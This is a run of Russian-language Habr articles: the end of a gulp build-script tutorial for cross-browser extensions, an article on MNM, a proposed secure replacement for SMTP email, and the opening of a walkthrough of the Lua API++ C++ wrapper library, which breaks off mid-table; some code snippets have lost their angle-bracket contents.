var shell = require('gulp-shell');
var chrome = require('./vendor/chrome/manifest');
var firefox = require('./vendor/firefox/package');
function pipe(src, transforms, dest) {
if (typeof transforms === 'string') {
dest = transforms;
transforms = null;
}
var stream = gulp.src(src);
transforms && transforms.forEach(function(transform) {
stream = stream.pipe(transform);
});
if (dest) {
stream = stream.pipe(gulp.dest(dest));
}
return stream;
}
gulp.task('clean', function() {
return pipe('./build', [clean()]);
});
gulp.task('chrome', function() {
return es.merge(
pipe('./libs/**/*', './build/chrome/libs'),
pipe('./img/**/*', './build/chrome/img'),
pipe('./js/**/*', './build/chrome/js'),
pipe('./css/**/*', './build/chrome/css'),
pipe('./vendor/chrome/browser.js', './build/chrome/js'),
pipe('./vendor/chrome/manifest.json', './build/chrome/')
);
});
gulp.task('firefox', function() {
return es.merge(
pipe('./libs/**/*', './build/firefox/data/libs'),
pipe('./img/**/*', './build/firefox/data/img'),
pipe('./js/**/*', './build/firefox/data/js'),
pipe('./css/**/*', './build/firefox/data/css'),
pipe('./vendor/firefox/browser.js', './build/firefox/data/js'),
pipe('./vendor/firefox/main.js', './build/firefox/data'),
pipe('./vendor/firefox/package.json', './build/firefox/')
);
});
gulp.task('safari', function() {
return es.merge(
pipe('./libs/**/*', './build/safari/likeastore.safariextension/libs'),
pipe('./img/**/*', './build/safari/likeastore.safariextension/img'),
pipe('./js/**/*', './build/safari/likeastore.safariextension/js'),
pipe('./css/**/*', './build/safari/likeastore.safariextension/css'),
pipe('./vendor/safari/browser.js', './build/safari/likeastore.safariextension/js'),
pipe('./vendor/safari/Info.plist', './build/safari/likeastore.safariextension'),
pipe('./vendor/safari/Settings.plist', './build/safari/likeastore.safariextension')
);
});
```
Таск по умолчанию, который собирает все три расширения,
```
gulp.task('default', function(cb) {
return rseq('clean', ['chrome', 'firefox', 'safari'], cb);
});
```
А также, для разработки очень удобно, когда код меняется и при этом сборка выполняется автоматически.
```
gulp.task('watch', function() {
gulp.watch(['./js/**/*', './css/**/*', './vendor/**/*', './img/**/*'], ['default']);
});
```
#### Готовим расширение к дистрибуции
Но сама сборка это еще не все, хочется иметь возможность упаковать приложение к формату готовому к размещению на соответвующих App Store (отмечу, что для Safari такого стора нет, но при соблюдении определенных правил они могут разместить информацию в галерее, задачу хостинга вы берете на себя).
В случае Chrome, все что необходимо сделать это `.zip` архив, который подписывается и верифицируется уже на строне Chrome Web Store.
```
gulp.task('chrome-dist', function () {
gulp.src('./build/chrome/**/*')
.pipe(zip('chrome-extension-' + chrome.version + '.zip'))
.pipe(gulp.dest('./dist/chrome'));
});
```
Для Firefox, немного сложнее — необходимо иметь SDK, в состав которой входит тул cfx, способный «завернуть» расширение в `xpi` файл.
```
gulp.task('firefox-dist', shell.task([
'mkdir -p dist/firefox',
'cd ./build/firefox && ../../tools/addon-sdk-1.16/bin/cfx xpi --output-file=../../dist/firefox/firefox-extension-' + firefox.version + '.xpi > /dev/null',
]));
```
А вот с Safari, вообще получится «облом». Собрать приложение в .safariextz пакет, можно только внутри самого Safari. Я потратил не один час, чтобы заставить [инструкцию](http://stackoverflow.com/questions/3423522/how-can-i-build-a-safari-extension-package-from-the-command-line) работать, но все тщетно. Сейчас, к сожалению, не возможно экспортировать свой девелоперский сертификат в `.p12` формат, как следствие невозможно создать нужные ключи для подписи пакета. Safari приходится все еще упаковывать вручную, задача дистрибуции упрощается до копирования Update.plist файла.
```
gulp.task('safari-dist', function () {
pipe('./vendor/safari/Update.plist', './dist/safari');
});
```
#### В итоге
Процесс разработки из одного репозитория легок и приятен. Как я упомянул выше, Chrome, как по мне, самая удобная среда разработки, поэтому все изменения добавляются и тестируются там,
```
$ gulp watch
```
После того, как все функционирует нормально в Chrome, проверяем Firefox
```
$ gulp firefox-run
```
А также, в «ручном» режиме в Safari.
Принимаем решение о выпуске новой версии, апдейтим соответсвующие манифест файлы с новой версией и запускаем,
```
$ gulp dist
```
В результате, в папке /dist которые к распространению файлы. Идеально было бы, если App Store имел API через который можно залить новую версию, но пока приходится делать это руками. Все подробности, пожалуйста [сюда](https://github.com/likeastore/browser-extension). | https://habr.com/ru/post/227881/ | null | ru | null |
# Альтернатива электронной почте для 21 века
*Специализированный мини-компьютер [IMP](https://en.wikipedia.org/wiki/Interface_Message_Processor) соединял между собой участников сети ARPANET в 1969 году, прообраз современных маршрутизаторов и символ древности SMTP. Фото: Fred Prouser / Reuters*
Электронная почта — очень старая технология. Протокол Simple Mail Transfer Protocol (SMTP) впервые описан в RFC 821 (1982 год), а его основой стали технологии 1970-х. В те времена никто не мог представить, какие проблемы возникнут в будущем из-за открытости протокола.
Сейчас электронная почта — рассадник спама и главное оружие киберпреступников. Большинство кибератак начинается с проникновения в сеть через фишинг. Жертву изучают — и направляют ей таргетированное письмо с обращением по имени, должности, с указанием деталей личной жизни, после чего искусно убеждают открыть приложенный файл. Многие соглашаются и открывают (например, см. [проверку персонала в GoDaddy](https://www.engadget.com/godaddy-sent-fake-phising-email-promising-holiday-bonus-220756457.html) и [GitLab](https://www.theregister.com/2020/05/21/gitlab_phishing_pentest/)). SMTP идеально подходит для социальной инженерии.
Поэтому программист Лиам Брек (Liam Breck) придумал безопасную и современную альтернативу электронной почте — это сеть [MNM](https://mnmnotmail.org/) (расшифровывается как **mnm is not mail**), сайт сейчас не справляется с нагрузкой, вот [кэш в Google](http://webcache.googleusercontent.com/search?newwindow=1&source=hp&ei=SHYrYNqyN4Gjgwf0mLGACg&iflsig=AINFCbYAAAAAYCuEWEONKTKJ6gWdA1HEfWMaG8Jc18pG&q=cache%3Ahttps%3A%2F%2Fmnmnotmail.org%2F&oq=cache%3Ahttps%3A%2F%2Fmnmnotmail.org%2F&gs_lcp=Cgdnd3Mtd2l6EAM6BQguEJMCOgIIADoCCC46CAguEMcBEKMCOgsILhDHARCvARCTAlDEC1j5FmCsGmgAcAB4AIABeogB5AWSAQMxLjaYAQCgAQGgAQKqAQdnd3Mtd2l6&sclient=gws-wiz&ved=0ahUKEwja9oft8u3uAhWB0eAKHXRMDKAQ4dUDCAc&uact=5).
Крупнейшее гнездо организованной преступности
=============================================
Нынешняя почта — совершенно открытая система из почтовых серверов, подключиться к которым может любой пользователь интернета. Это главное достоинство, но и главный недостаток электронной почты, потому что из-за абсолютной открытости систему эксплуатируют злоумышленники, а все мы страдаем из-за спама и фишинга.
*Старый добрый SMTP буквально напрашивается на спуфинг*
Лиам Брек уверен, что сегодня Интернет стал **крупнейшим гнездом организованной преступности в мире**. Ситуация с кибератаками ухудшается с каждым годом.
Этот инструмент позволяет:
1. Создать впечатление, что письмо пришло от доверенного адресата
2. При первом же контакте передать жертве любой контент:
* Ссылки на вредоносные сайты, которые маскируются как доверенные
* Исполняемые программы
* Дезинформация
3. Прислать жертве неограниченное количество сообщений без её согласия
4. Получить доступ к архиву писем, подобрав простой пароль
5. Украсть почту всей организации, взломав единственный сервер
Из-за этих уязвимостей пришлось изобретать надстройки и «костыли» — систему цифровой подписи адресов [DomainKeys Identified Mail (DKIM)](http://www.dkim.org/), чёрные списки, спам-фильтры.
Например, технология DKIM помогает проверить, что данное конкретное письмо действительно отправлено с заявленного домена. Вместо традиционного IP-адреса, для отправителя DKIM добавляет цифровую подпись, связанную с именем домена. Подпись автоматически проверяется на стороне получателя, после чего применяются белые и чёрные списки.
Вот как выглядит этот «костыль»:
[](https://habrastorage.org/webt/ek/c9/r8/ekc9r82v8fuz5flbqupuro2enly.png "Гусев Олег, CC0, через Викисклад")
Но электронная подпись ни к чему не обязывает принимающую сторону. Официальный [RFC 6376](https://www.ietf.org/rfc/rfc6376.txt) рекомендует сообщения с обычных серверов, не поддерживающих DKIM, обрабатывать стандартным образом. А сами подписи DKIM не охватывают «конверт» сообщения, который содержит обратный путь и получателей сообщения, поэтому одного только DKIM недостаточно для надёжной защиты от фишинга.
Поскольку в самом SMTP валидация отправителя отсутствует напрочь, на протяжении десятилетий продолжаются попытки решить эту проблему. Кроме DKIM, разработаны технологии [SPF](https://tools.ietf.org/html/rfc7208) и [DMARC](https://dmarc.org/), которые тоже используются в спам-фильтрах.
Несмотря на такие ухищрения, спам-фильтры всё равно работают неидеально и даже в каком-то смысле вредят экосистеме, потому что создают у пользователей ложное чувство защищённости, фильтруя большинство мусорных писем, но пропуская действительно продуманные таргетированные атаки. Свидетельств этому несть числа: см. историю с [взломом Мэта Хонана](https://habr.com/ru/post/149179/). Буквально в течение часа у журналиста угнали аккаунты Amazon, Gmail, Apple и Twitter, дистанционно уничтожили информацию на iPad, iPhone и MacBook. Среди прочего он потерял все фотографии своей дочки с момента её рождения, многие документы и значительную часть писем.
Такое может произойти с каждым. В любую минуту.
Беззащитная открытость электронной почты — это фундамент, на котором держится современная киберпреступность. А главная причина всех проблем — протокол SMTP. Он создавался во времена, когда интернетом пользовались только учёные. Они знали друг друга, и не было нужды разрабатывать механизмы аутентификации, верификации и защиты от мошенничества.
Построенная с нуля новая система всегда лучше, чем старая на костылях. Примерно так рассуждает создатель MNM. Он считает, что SMTP даже с заплатками типа DKIM, SPF и DMARC не приспособлен для существования в 21 веке. Нужен современный, новый протокол.
Концепция
=========
MNM ставит перед собой две задачи: 1) более безопасные коммуникации, где сообщения распространяются только внутри чётких кругов, адресата невозможно подделать, а каждый пользователь сам выбирает, через какие серверы отправлять трафик; 2) добавить возможности, которых не хватает нынешней почте:
> * форматирование сообщений и поддержка Markdown
> * гиперссылки на другие письма и обсуждения
> * хэштеги и приватные теги
> * шаблоны для слайдов
> * графики и диаграммы
> * формы/опросники, результаты которых собираются в таблицы
> * многие другие функции для лучшей концентрации, креативности
>
Автор концепции ничего не говорит о шифровании, но встроенного механизма шифрования действительно сильно не хватает современной (древней) электронной почте.
**Аутентификация отправителя и шифрование — это главное, чего не хватает электронной почте.**
Вот [основные принципы](https://mnmnotmail.org/rationale.html), которым должна соответствовать новая система.
### Почтовые службы «для своих»
1. Каждой организации и коллективу, будь то большая корпорация или маленький семейный круг, нужен сервис обмена сообщениями только для своих, куда **не поступает трафик извне**. Переход на MNM начинается постепенно, а первыми это делают компании для внутренних коммуникаций.
2. Если организации нужно получать письма от ненадёжных (возможно, анонимных) адресатов, для этой цели создаётся отдельный инстанс. Организации могут подключаться и к сторонним службам обмена сообщениями.
3. Для блокировки вредоносного трафика (в случае организаций с неограниченным членством) сервер предотвращает отправку произвольного контента участниками, **с которыми отправитель не знаком**.
4. Сервер контролирует, как участники идентифицируют себя, чтобы предотвращать мисрепрезентацию.
5. Чтобы предотвратить перехват писем (в случае взлома учётной записи или сервера), сервер хранит только те сообщения, которые ещё не доставлены или возвращены как недоставленные.
6. Там, где требуется резервное копирование, сервер шифрует трафик конкретных аккаунтов с помощью открытого ключа и отправляет его в службу бэкапов.
7. Серверы должны поддерживать списки рассылки сообщений (они же группы) и уведомления об онлайн-статусе, поскольку это естественное расширение функциональности системы обмена сообщениями.
8. Для небольшой организации стоимость почтового сервера должна быть незначительной.
### Единое клиентское приложение:
1. Каждому человеку необходимо единое приложение для обмена сообщениями, которое работает практически на любом устройстве и регулярно **подключается к службам обмена сообщениями всех организаций**, к которым принадлежит человек, по общему сетевому протоколу.
2. Приложение создаёт **отдельные ящики для каждой службы** и настраивает внешний вид входящей почты (шрифты, цвета, фон) в соответствии с конфигурацией, которую можно поменять.
3. Службы обмена сообщениями надёжно **доставляют каждое сообщение на каждое устройство**, где запущен клиент.
4. Если одно из устройств выброшено, потеряно или украдено, у пользователя должна быть возможность запретить ему дальнейший доступ к своим аккаунтам для обмена сообщениями. Скомпрометированное устройство не должно быть в состоянии захватить аккаунт.
5. При настройке дополнительного устройства приложение должно передать историю ваших сообщений на это устройство одноранговым способом, то есть по пирингу.
6. При получении сообщения приложение не должно связываться ни с какими сторонними сайтами, на которые ссылается это сообщение.
7. Приложение должно обеспечить метод P2P-коммуникаций, позволяющий людям при личном контакте обмениваться приглашениями на свои серверы.
8. Приложение должно включить шифрование истории сообщений в локальном хранилище и автоматически создавать бэкапы, например, на USB-флэшке или карте microSD.
9. Для конфиденциальных данных, которые можно отправлять только в зашифрованном виде, клиент должен выполнять шифрование перед отправкой, а также дешифровку полученных писем с использованием открытых ключей.
Софт
====
Клиент и сервер MNM опубликованы под лицензией Mozilla Public License 2.0. Исходный код см. в [репозитории на GitHub](https://github.com/networkimprov/mnm/issues).
Разработка идёт с начала 2017 года, за это время вышло девять предварительных релизов клиентского приложения. Последняя версия [0.9.0](https://github.com/networkimprov/mnm-hammer/releases) от 3 января 2021 года.
В данный момент собраны версии под Windows, MacOS, and Linux, планируются порты на Android и iOS.
* **Windows**: [mnm-app-windows-amd64-v0.9.0.zip](https://github.com/networkimprov/mnm-hammer/releases/download/v0.9.0/mnm-app-windows-amd64-v0.9.0.zip)
* **macOS**: [mnm-app-macos-amd64-v0.9.0.tgz](https://github.com/networkimprov/mnm-hammer/releases/download/v0.9.0/mnm-app-macos-amd64-v0.9.0.tgz)
* **Linux**: [mnm-app-linux-amd64-v0.9.0.tgz](https://github.com/networkimprov/mnm-hammer/releases/download/v0.9.0/mnm-app-linux-amd64-v0.9.0.tgz)
Графический интерфейс работает через браузер (Vue.js), протестирован в Chrome и Firefox. После старта клиента подключаемся к порту `http://localhost:8123/` — и клиент запускается в браузере.
При желании можно запустить клиент на другом порту:
* на Linux и macOS: `./mnm-hammer -http :8123`
* под Windows: `mnm-hammer.exe -http :8123`
Все данные хранятся на машине пользователя и реплицируются на другие устройства при необходимости. Есть полная документация и курс для новичков.
Приложение и сервер TMTP написаны на Go. Приложение использует [Bleve](https://github.com/blevesearch/bleve) и [Gorilla Websocket](https://github.com/gorilla/websocket), сервер — [NTP-клиент](https://github.com/beevik/ntp) Бретта Викерса.
Сервер TMTP развёрнут в публичном дата-центре и тестируется с начала 2019 года. Он работает под Linux, планируются порты на FreeBSD, Windows и MacOS. В данный момент он не поддерживает ограничения на создание аккаунтов. Последняя версия [0.1.0](https://github.com/networkimprov/mnm/releases).
В первую очередь TMTP предназначен для организаций и отделов, где последствия фишинговой атаки будут катастрофическими, поэтому они могут полагаться только на внутреннюю почтовую сеть.
*Почтовый ящик и [клон сим-карты](https://en.wikipedia.org/wiki/SIM_swap_scam) — ключи ко всей цифровой жизни человека*
Идея Тима Бернерса-Ли
=====================
Концепция MNM/TMTP чем-то напоминает идею Тима Бернерса-Ли о децентрализованной сети из персональных контейнеров [Solid](https://solid.inrupt.com/).
После [регистрации](https://inrupt.net/register?) на одном из solid-серверов пользователь получает идентификатор и личный «контейнер» (solid pod). Как вариант, можно поднять локальный сервер.
Этот под с личными данными — своеобразное отражение цифровой личности человека. И пользователь настраивает разрешения, какие приложения могут получить доступ к его поду — и какие конкретно данные могут быть выданы этим приложениям для осуществления определённых действий.
Электронная почта бессмертна?
=============================
Доводы Лиама Брека разумны и логичны, хотя сама идея заменить электронную почту кажется слегка идеалистической, в духе [написать собственную ОС с нуля](https://habr.com/ru/post/101810/) или, что ещё сложнее, [написать с нуля веб-браузер](https://habr.com/ru/post/541196/) (1217 [спецификаций W3C](https://www.w3.org/TR/) содержат 114 млн слов).
Но если идея безумна, то она становится ещё интереснее!
У нас ведь свободное общество. Никто не может запретить опенсорсный проект любой функциональности.
Такие проекты как минимум расширяют воображение.
Ну а если реально посмотреть на вещи, то вся история электронной почты показывает, что это крайне живучая технология. Её не смогли уничтожить ни социальные сети, ни смартфоны с мобильными приложениями, ни мессенджеры, ни круги Google Wave, ни что иное.
Несмотря на распространённость мессенджеров и социальных сетей, по статистике почтовый трафик [растёт с каждым годом](http://www.radicati.com/wp/wp-content/uploads/2017/01/Email-Statistics-Report-2017-2021-Executive-Summary.pdf).
Возможно, электронная почта долго сохранится в том виде, в каком ей пользовались наши деды. Похоже, это самая гениальная технология в интернете — и ничего с этим не поделаешь…
---
#### На правах рекламы
VDSina предлагает [недорогие серверы](https://vdsina.ru/cloud-servers?partner=habr267) с посуточной оплатой. Интернет-канал для каждого сервера — 500 Мегабит, защита от DDoS-атак включена в тариф, возможность установить Windows, Linux или вообще ОС со своего образа, а ещё очень удобная панель управления серверами [собственной разработки](https://habr.com/ru/company/vdsina/blog/460107/). Давно пора попробовать ;)
[](https://vdsina.ru/cloud-servers?partner=habr267) | https://habr.com/ru/post/542712/ | null | ru | null |
# Lua API++
Здравствуйте, коллеги.
Хочу познакомить вас с моим небольшим проектом, который, надеюсь, сможет пригодиться и вам.
С [Lua](http://www.lua.org/) я познакомился несколько лет назад, когда подыскивал внедряемый скриптовой язык, отличающийся скромным размером и высокой производительностью. Lua не только отвечает этим запросам, но и подкупает удивительной простотой и выразительностью.
Не могу сказать, что я недоволен Lua API: это отличный набор функций, удобный и простой в использовании. Интеграция языка в своё приложение и добавление собственных расширений не вызвали трудностей, никаких «подводных камней» тоже не возникло. Но всё же при использовании этого API, ориентированного на Си, меня не оставляла мысль, что этот процесс мог бы быть и поудобнее. Первая попытка сделать удобную объектно-ориентированную обёртку потерпела неудачу: имеющимися средствами мне не удалось создать что-то заслуживающее существования, всё выходило чересчур громоздко и неочевидно.
А потом появился **C++11**, который снял все мешавшие мне препятствия (точнее говоря — добавил то, чего не хватало), и головоломка постепенно начала складываться. Второй заход оказался удачным, и в результате я сумел создать достаточно легковесную библиотеку-обёртку с естественным синтаксисом большинства операций. Эта библиотека, которую я назвал [Lua API++](https://github.com/OldFisher/lua-api-pp), призвана служить удобной заменой для Lua API. Этой статья, написанная по мотивам моего выступления на Lua Workshop, поможет познакомиться с основными понятиями Lua API++ и предоставляемыми ей возможностями.
---
#### Основные действующие лица
Знакомство следует начинать с основных понятий, используемых библиотекой, и взаимоотношений между ними. Как и следовало ожидать, эти понятия отражены в соответствующих типах.
##### `State`
`State` — владелец состояния Lua. Это самостоятельный тип, практически не связанный с остальной частью библиотеки. Помимо контроля над созданием и уничтожением состояния, он предоставляет только средства для выполнения файлов, строк и Lua-совместимых функций. Ошибки, возникающие в ходе их работы, преобразуются в исключения.
##### `LFunction`
Всё остальное в библиотеке происходит внутри `LFunction`, функций специального формата, совместимых с Lua API++. Это аналог Lua-совместимых функций, которым в свою очередь было дано название `CFunction`. Особый формат функции понадобился в основном для того, чтобы впустить нашего следующего персонажа:
##### `Context`
`Context` — это контекст функции, а также центр доступа ко всем возможностям Lua. С его помощью можно получить доступ к глобальным переменным, аргументам функции, реестру и upvalues. Можно управлять сборщиком мусора, сигнализировать об ошибках, передавать множественные возвращаемые значения и создавать замыкания. Проще говоря, через `Context` делается всё то, что не относится непосредственно к операциям над значениями, которые являются прерогативой нашего замыкающего:
##### Value
В отличие от предыдущих понятий, которым однозначно соответствовал одноимённый класс, «значение» в Lua API++ несколько расплывчато (хотя класс `Value`, конечно же, есть). В первую очередь это связано с политикой «открытых границ», которая позволяет свободную миграцию нативных значений в Lua и наоборот. Везде, где ожидаются значения Lua, можно подставлять нативные значения поддерживаемых типов и они автоматически «переедут» на стек Lua. Операторы неявного преобразования типов помогут переезду значения в обратном направлении, а в случае несовместимости реального и ожидаемого типа известят нас об этом при помощи исключения.
Кроме этого, значения в Lua в зависимости от их происхождения могут быть представлены разными типами, поддерживающими общий интерфейс. Этот интерфейс реализует все допустимые операции над значениями: явное и неявное преобразование в нативные типы, вызовы функций, индексацию, арифметические операции, сравнение, проверку типов, запись и чтение метатаблиц.
###### `Valref`
Это ссылка на размещёное на стеке значение, а если точнее — то даже не столько на значение, сколько на конкретный слот на стеке Lua. `Valref` не занимается размещением или удалением значений на стеке, а сосредоточен исключительно на операциях над значением. В документации к Lua API++ `Valref` служит образцом, которому следует интерфейс других типов, представляющих значения.
###### Temporary
С временными значениями, которые являются результатом операций, несколько сложнее. Это значения, которые *будут помещены* (а может, и не будут) на стек в результате операции, использованы *единожды*, а затем удалены. К тому же, аргументы операции сами по себе могут быть результатами других операций, да ещё и без гарантий успеха. Да и использование бывает разное: при индексации в результате чтения на стеке создаётся новое значение взамен ключа, а в результате записи — со стека удаляются ключ и записанное значение. А как насчёт необходимости строго соблюдать очерёдность размещения аргументов операций? И что делать с неиспользованными объектами?
Многие, вероятно, уже догадались, к чему я клоню. Временные значения представлены proxy-типами. Они незримо для пользователя конструируются при помощи шаблонов и воспроизводят интерфейс `Valref`. Пользоваться ими легко, просто и удобно, но допустите ошибку, и компилятор «порадует» вас объёмистым сочинением, изобилующим угловыми скобками.
###### Якори
Якори названы так потому, что позволяют «прикнопить» к стеку одно или несколько значений. `Value` — универсальный «якорь» для одного значения, `Table` специализирован для таблиц, а `Valset` хранит несколько значений.
---
Теперь, когда главные действующие лица нам представлены, можно приступить к более подробному разбору того, что мы с ними можем делать.
#### `State`
У `State` есть конструктор по умолчанию, выполняющий все необходимые для инициализации контекста действия. Альтернативный конструктор позволяет задействовать [пользовательскую функцию управления памятью](http://www.lua.org/manual/5.2/manual.html#lua_Alloc). Можно запросить «сырой» указатель на объект состояния, используемый в Lua API, функцией `getRawState`.
В комплекте идут функции `runFile`, `runString` и `call`, которые позволяют смастерить простейший интерпретатор:
**Простейший интерпретатор**
```
#include
#include
using namespace std;
using namespace lua;
void interpretLine(State& state, const string& line)
{
try {
state.runString(line); // Пытаемся выполнить строку
} catch(std::exception& e) { // О неудаче и её причинах нам сообщат в исключении
cerr << e.what() << endl;
}
}
void interpretStream(State& state, istream& in)
{
string currentLine;
while(!in.eof()) { // Читаем поток по строкам и каждую интерпретируем
getline(in, currentLine);
interpretLine(state, currentLine);
}
}
int main()
{
State state;
interpretStream(state, cin);
}
```
---
#### Обработка ошибок
Подход, используемый библиотекой, заключается в том, чтобы не путаться под ногами у Lua, поэтому диагностируются либо те ошибки, которые связаны с работой самой библиотеки, вроде попыток создать `Table` не из таблицы, либо те, которые понадобится (возможно) перехватывать в пользовательском коде, вроде ошибок приведения типов. Библиотека не пытается диагностировать заранее те ошибки, которые могут обнаружиться при вызове Lua API. Поэтому попытка, например, использовать вызов функции на значении, которое на самом деле является числом, не вызовет исключения. Она будет обнаружена внутри вызова `lua_call` и вызовет ошибку в стиле Lua (прерывание выполнения и возврат к ближайшей точке защищённого вызова).
---
#### `LFunction`
Вообще-то библиотека поддерживает «прозрачную» обёртку функций, оперирующих поддерживаемыми типами (и даже функций-членов). Достаточно просто упомянуть имя функции там, где ожидается Lua-значение. Но если мы хотим получить доступ ко всем удобствам Lua, предоставляемым Lua API++, надо писать L-функции в соответствии с таким прототипом:
```
Retval myFunc(Context& c);
```
Здесь всё просто: наша функция получает `Context`, а `Retval` — специальный тип, помогающий с удобством возвращать произвольное количество значений через функцию `Context::ret`.
Шаблон `mkcf` позволяет сделать из `LFunction` то, с чем подружится Lua:
```
int (*myCfunc)(lua_State*) = mkcf;
```
Таким образом мы можем явно создавать обёртки для нашей функции. «Прозрачная» обёртка тоже сработает, но накладные расходы будут чуть выше. С другой стороны, `mkcf` будет создавать отдельную функцию-обёртку в каждом случае.
Так или иначе, но в любом случае «обёртка» будет создавать объект `Context`, передавать его нашей функции, а по завершении работы передавать в Lua возвращаемые через `Retval` значения. Все исключения, вышедшие за пределы оборачиваемой функции, будут перехвачены и преобразованы в ошибку Lua.
**Функция, возвращающая себя саму? Дайте две!**
```
Retval retSelf(Context& c)
{
return c.ret(retSelf, mkcf); // Вернём сразу две функции, созданные по-разному
}
```
---
#### `Context`
Контекст функции — это центральный узел доступа к Lua. Всё, что не связано непосредственно с работой со значениями, выполняется через `Context`. Не стану отвергать намёки на явное сходство с [god object](https://ru.wikipedia.org/wiki/Божественный_объект), но в данном случае такое решение диктуется архитектурой Lua API. Через `Context` можно управлять сборщиком мусора, можно узнать номер версии и количество размещённых на стеке значений. Он неявно преобразуется в `lua_State*` на случай, если надо поколдовать с Lua API напрямую. На этот же случай предусмотрено волшебное слово (точнее, статическая константа сигнального типа) `initializeExplicitly`, позволяющее создавать `Context` явно, за пределами `LFunction`.
##### Возврат значений
Как бы ни было приятно просто указывать в операторе **return** возвращаемые из функции значения, это невозможно. Пришлось сделать выбор между двумя ближайшими альтернативами: хитрый «стартер» с перегрузкой оператора запятой или вызов функции. Победила ~~дружба~~ функция. Поэтому `LFunction` и требует возвращать `Retval`, создать который можно лишь обращением к методу `Context` со скромным названием `ret`. Это особенная функция: после её вызова прекращается работа со стеком, чтобы не скинуть с него наши значения, поэтому употреблять её следует лишь непосредственно в операторе **return**. В вызове `ret` можно перечислить столько возвращаемых значений, сколько понадобится.
**Сравнение**
```
return ctx.ret(1, "two", three);
```
Эквивалентный код:
```
lua_pushinteger(ctx, 1);
lua_pushstring(ctx, "two");
lua_pushvalue(ctx, three);
return 3;
```
##### Сигнализация об ошибках
Утверждая, что единственный способ создать `Retval` — обратиться к функции `ret`, я не погрешил против истины, но есть один нюанс… С формальной точки зрения имеется ещё и функция `error`, которая тоже возвращает этот тип. Только на самом деле до создания `Retval` не доходит, потому что из этой функции не происходит возврата. Максимум, на который можно рассчитывать — передать своё сообщение механизму обработки ошибок Lua. Документация по Lua API рекомендует применять вызов `lua_error` в операторе **return**, чтобы обозначить тот факт, что исполнение функции прерывается во время вызова. Тот же самый подход применяется и в Lua API++, потому-то `error` и объявлена возвращающей `Retval`.
В качестве аргумента принимается Lua-значение с сообщением об ошибке, и конкатенация тут будет вполне уместна, тем более что зачинателем может выступить функция `where`, создающая строку, описывающую текущую функцию. Это же значение используется, если сообщение вообще не указывать.
```
if(verbose)
return ctx.error(ctx.where() & " intentional error " & 42);
else
return ctx.error(); // То же самое, что return ctx.error(ctx.where());
```
**Эквивалентный код**
```
if(verbose) {
luaL_where(ctx, 0);
lua_pushstring(ctx, " intentional error ");
lua_pushinteger(ctx, 42);
lua_concat(ctx, 3);
return lua_error(ctx);
} else {
luaL_where(ctx, 0);
return lua_error(ctx);
}
```
##### Доступ к окружению
Наш `Context`, очевидно, является первоисточником значений. В самом деле, откуда ещё им взяться?
Нам в пользование предоставляются объекты доступа, оформленные как открытые члены класса `Context`, позволяющие дотянуться до разных интересных мест окружения. Все они позволяют осуществлять как чтение, так и запись значений.
В первую очередь это `args`, аргументы функции. В отличие от других объектов доступа, для каждого из которых создавался специальный недоступный для пользователя тип, здесь применяется обычный константный `Valset`. Его константность означает лишь то, что мы не можем изменять его размер, а вот переписывать значения аргументов — на здоровье. Поскольку Valset создавался как STL-совместимый контейнер, нумерация элементов в нём начинается с 0. В остальных случаях библиотека придерживается правил Lua и подразумевает, что индексация начинается с 1.
```
if(ctx.args.size() > 1 && ctx.args[0].is()) {...};
```
**Эквивалентный код**
```
if(nArgs > 1 && lua_isstring(ctx, 1) ) {...};
```
На втором месте стоит доступ к глобальным переменным. Объект `global` индексируется строками.
```
ctx.global["answer"] = 42; // Если такой глобальной переменной не было, теперь появится
```
**Эквивалентный код**
```
lua_pushinteger(ctx, 42);
lua_setglobal(ctx, "answer");
```
Если наша LFunction по совместительству является замыканием, то к хранящимся в ней значениям мы можем обратиться через `upvalues` с целочисленным индексом (начиная с 1, всё правильно). Способа узнать количество хранимых значений нет: предполагается, что это и так известно.
Реестр Lua, доступный через `registry`, используется двумя способами. По строковым ключам там хранятся метатаблицы для пользовательских данных. Целочисленные ключи задействуются при использовании реестра в качестве хранилища значений. Ключ создаётся вызовом `registry.store` и в дальнейшем применяется для чтения и записи в `registry`, стирание значения и освобождение ключа происходит при записи `nil`.
```
auto k = ctx.registry.store(ctx.upvalues[1]); // decltype(k) == int
ctx.registry [k] = nil; // Ключ k освободился и может снова стать результатом store
```
**Эквивалентный код**
```
lua_pushvalue(ctx, lua_upvalueindex(1));
auto k = luaL_ref(ctx, LUA_REGISTRYINDEX);
luaL_unref(ctx, LUA_REGISTRYINDEX, k);
```
##### Функции
Я только что упомянул о том, что Lua позволяет создавать замыкания. В объекте `Context` для этого применяется функция `closure`, которая получает `CFunction` и те значения, которые будут храниться в замыкании. Результат — временный объект, то есть полноценное Lua-значение.
Вместо `CFunction` мы можем указать сразу `LFunction`, но у этой лёгкости есть своя цена. В получившемся замыкании будет зарезервировано первое upvalue (там хранится адрес функции, поскольку обёртка одна и та же для любой LFunction). Эта же функция применяется и для прозрачной миграции `LFunction` с теми же последствиями. В этом состоит отличие от шаблона `mkcf`, который ничего не резервирует, но зато создаёт отдельную функцию-обёртку для каждой функции.
А ещё можно создавать чанки: скомпилированный код Lua. Непосредственно текст компилируется методом `chunk`, а содержимое файла при помощи `load`. Для случаев «выполнил и забыл» есть `runString` и `runFile`, точно такие же, как и в `State`. С точки зрения использования чанк — обычная функция.
Замыкания можно создавать и из несовместимых функций при помощи метода `wrap`. Он автоматически создаёт обёртку, которая берёт аргументы со стека Lua, преобразует их в значения, принимаемые нашей функцией, производит вызов и размещает результат на стеке Lua в качестве возвращаемого значения. По умолчанию это работает со всеми поддерживаемыми типами, включая пользовательские данные. А если этого мало (например, нам надо вытворять что-то со строками, хранящимися в **`vector`, то можно и самому указать преобразование в ту или другую сторону при помощи специальных макросов.
Именно `wrap` срабатывает при неявной миграции функций. Братский метод `vwrap` делает почти всё то же самое, только игнорирует возвращаемое оборачиваемой функцией значение.
---
#### Миграция значений
Lua API++ поддерживает следующие нативные типы:
| Числовые |
| --- |
| **`int`** |
| **`unsigned int`** |
| **`long long`** |
| **`unsigned long long`** |
| **`float`** |
| **`double`** |
| Строковые |
| **`const char*`** |
| `std::string` |
| Функции |
| `CFunction: int (*) (lua_State*)` |
| `LFunction: Retval (*) (Context&)` |
| Произвольные функции |
| Функции-члены |
| Разное |
| `Nil` |
| **`bool`** |
| `LightUserData: void*` |
| зарегистрированные пользовательские типы |
Значения перечисленных в таблице типов могут мигрировать на стек Lua и обратно (за исключением, естественно, `Nil` и «обёрнутых» функций, которые остаются указателями на обёртки).
